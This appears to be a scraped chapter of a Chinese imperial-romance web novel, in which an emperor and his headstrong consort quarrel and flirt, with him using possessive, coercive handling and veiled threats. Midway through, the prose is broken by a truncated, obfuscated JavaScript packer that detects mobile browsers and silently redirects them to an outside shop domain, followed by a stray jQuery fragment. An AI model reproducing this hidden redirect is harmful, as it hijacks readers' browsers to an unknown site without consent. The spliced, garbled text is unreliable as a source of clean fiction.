吕金枝默了半天,也没想出合适的借口,她努了努嘴:“你管我为什么不愿意,不愿意就是不愿意。”
裘汝城掐着她的下巴,叫她抬头正视自己的眼睛,"怎么对朕说话的?不成样子!朕可以治你大不敬之罪。"
吕金枝下巴一扬挣开他的桎梏,又偏过头,不说话了。
裘汝城简直无奈,这小娘子惯爱使小性子,哪家丈夫能容忍妻子二三其德,对前未婚夫态度暧昧,连在丈夫面前做做表面功夫都不愿?
可他偏偏对她没有办法,她也就仗着自己对她没办法,纵着,宠着。
换作朝臣或是后宫其他嫔妃,这会儿早就跪在地上磕头谢罪了,只有她、唯有她,胆大包天,目无君王!
裘汝城气得在她臀部拍了一巴掌,"真是反了天了!"
吕金枝呆愣片刻,随后脸色爆红,语无伦次:"你你你你你你你这与市井流氓,有何两样!"竟然打她屁股,自她记事起,就、就从没有人这样对她!
裘汝城笑了下,竟有些匪气:"你是朕的女人,全身上下哪一处不是朕的?朕浅浅教训教训自己的女人,有何不可?就是说与天下人,也万万没有说不对的。"
吕金枝气得跺脚,又羞又臊:"我说不许就不许,以后不准你的手靠近我的屁股!否则我把它一脚踹到天上!"
裘汝城轻嘶一声,双臂将她箍得更紧,"别动。"这妮子乱动起来没轻没重,要不是……真想立即办了她!
吕金枝没反应过来,嘴巴还在嘟嘟囔囔,突然感觉到温度,身体瞬间僵在那里,脸烧得比苹果还要红,也不敢说话了。
裘汝城气息有些重,见她这样又忍不住笑出声,又怂又怕,亏得刚才还敢跟他置气。
她羞窘至极,偏又凶巴巴的,"笑什么笑,不准笑!"
他笑着无奈摇头,拍拍她的后背,"朕不取笑你了。"那明媚双眸里的嗔怒,简直要把他烧灭。
吕金枝这才作罢。
裘汝城又跟她说起多年前的一件事,那时候她跟着吕相国来赴宫宴。
吕金枝不解:“那又怎么了?”她参加过的宫宴多了去了。
裘汝城浅笑不语,那年小娘子十岁,他以为能见到一个酷似吕将军、挺拔魁梧的女郎,结果见了面,身量才到他腰上,当时两眼一黑又一黑,想着这么矮,如何做得他的女将军?
如今想来,不只身量,就是这性子上了战场,不得整天哭哭啼啼,恨不得用泪水把敌军淹死,或是一天到晚跟敌军置气,把敌军活活气死。
一时间,他竟笑出了声。
吕金枝狐疑的眼睛扫了过来,"又笑什么?"
裘汝城怜爱地抚着她的头,"昔年朕在战场上的旧事。"
这话一听,吕金枝就不问了,"哦。"她不喜欢那些打打杀杀的事。
不准她跑,她就低下头摆弄裘汝城的衣袖玩,洒金龙纹的衣裳,丝线都是用的金丝。
裘汝城轻叹一声,这样一个娇滴滴的小娘子,他原先竟以为能长成麾下大将?
不过,这话不能说,她会气得不理他。
一把抱起吕金枝,往床榻走去,"不是准备午睡吗?朕陪你一起。"
刚将人放下,那小娘子一溜烟就从他面前爬走了,裘汝城好气又好笑,"就那么怕朕?朕在你心里就是这样一个白日宣淫的禽兽?"
吕金枝嘟囔着嘴,"那可不好说。"
“愈发口无遮拦。”裘汝城气笑了,抓住她纤细的脚踝拖过来,"既是如此,朕若不做点什么,岂不是白担了恶名?"
吕金枝显然是怕了,趁他还没霸王硬上弓,把被子裹到身上连脸都不放过,保护自己又装睡,"我睡着了,马上睡着了。"
所以,他不要说话,也不能做别的事了!
裘汝城:"……"她难道以为,一床被子就能挡住自己?他竟有种想撕给她看的感觉,那样的话,小娘子的表情应该很有趣。
甫一冒出这个念头,就被他否了。瑛娘自己胡来,怎么他也跟着做这些幼稚的事?
裘汝城摇摇头,开始自我反省。
又把人从被褥里扒拉出来,小娘子闷了会儿,脸都涨红一片,裘汝城拧眉斥道:“多大人了,还不知事。”
闷了都不知道冒头。
裘汝城下定决心,以后的皇儿他得找天下最机敏聪明的老师父教,绝不能给她带,如果带出同样的笨蛋,那他以何面目面对列祖列宗?
“还不是你……”她不满嘀嘀咕咕。
看吧,还死犟死犟。
裘汝城拂去她面上被汗水浸湿的发,点点她挺翘的鼻子,忽然一顿,常有老人说鼻子尖的人倔牛一样,果然是有道理的。
他的指腹温柔地落在脸颊,揭去一点点汗水,吕金枝不知怎的问了句,"你怎么不爱去别的妃子那里?"
他的手停住,随后放下来,"你很盼着朕去?"
她动了动眼珠子,"你想去就去,我还能拦你不成?"
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17959839|213780||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>裘汝城看她,面容如常,不见丝毫的忐忑不安,或者犹豫惶惶,一手擒住她的后颈,迫使她仰头看着自己。
“累、累。”吕金枝捶捶他的手,也不见松。
他淡淡地说:“朕没有委屈自己的想法,哪怕任何原因。”另一只手轻柔地抚过她的颊侧,"瑛娘,朕喜爱你,才愿意多来看你。你年轻不知事,又养得娇纵,朕愿意给你时间整理自己的情绪,但朕的忍耐也是有限度的。"
“你盼着朕去别人那,是为了什么?你不想主持明德的婚事,是为了什么?”指腹擦过她的唇角,"朕眼里容不下一粒沙子,你总要懂事识趣。"
吕金枝撇撇嘴,什么她懂不懂事?识不识趣?她只是随便问问,随便问问而已,裘明德的婚事,任何一个与她相同处境的娘子都不会愿意去做,只有他、只有他非要逼着自己去做,现在还拿这个说教她!
到嘴的话还没出口,又听:“瑛娘,你需记住普天之下,你能依靠的、且唯一能够依靠的,唯有朕。”
吕金枝小声嘟囔:“才不是。”
这话音虽小,却被裘汝城听到,他笑着,笑意却不达眼底,"除了朕,你还能依靠谁?明德吗?"
吕金枝暗道自己大意了,但话一出口绝无转圜,又许是内心深处存了怨和不甘心,她别过头,梗着脖子道:“反正不是你,就不是你。”
他强行扭正她的脖颈,话中裹着寒霜,"朕还入不得你的眼了?"
吕金枝垂眼,哪怕正脸对着他,也不看他,就是不看他。
“说话!”
她紧抿唇,当自己是哑巴。
“吕金枝,你是不是觉得朕能够一直容忍你?”捏起她的下巴一抬,话音似在喉间滚了一圈,带着浓烈的危险:"睁眼看朕,说话。"
“别让朕说第三遍。”
不知那句触到吕金枝的心弦,她猛地抬首,"你有什么好托付的?你喜怒无常,偏听偏信,又比裘明德好到哪里去?"说到最后,眼泪花不争气地流了出来,脸颊沾满泪痕。
室内一静,仿佛空气都凝固了。
捏着她下巴的手重了力道,他冷声:“朕还对不起你了?”
吕金枝也不答,任由眼泪一串串落下。
又是好一会儿,沉闷的空气中响起一道叹息。
带着薄茧的指腹轻轻擦去她面上的泪,"别哭了。"
不能打,不能骂,只能哄,只能顺着,时不时还要被甩脸色,他是个自己娶了个祖宗回来吗?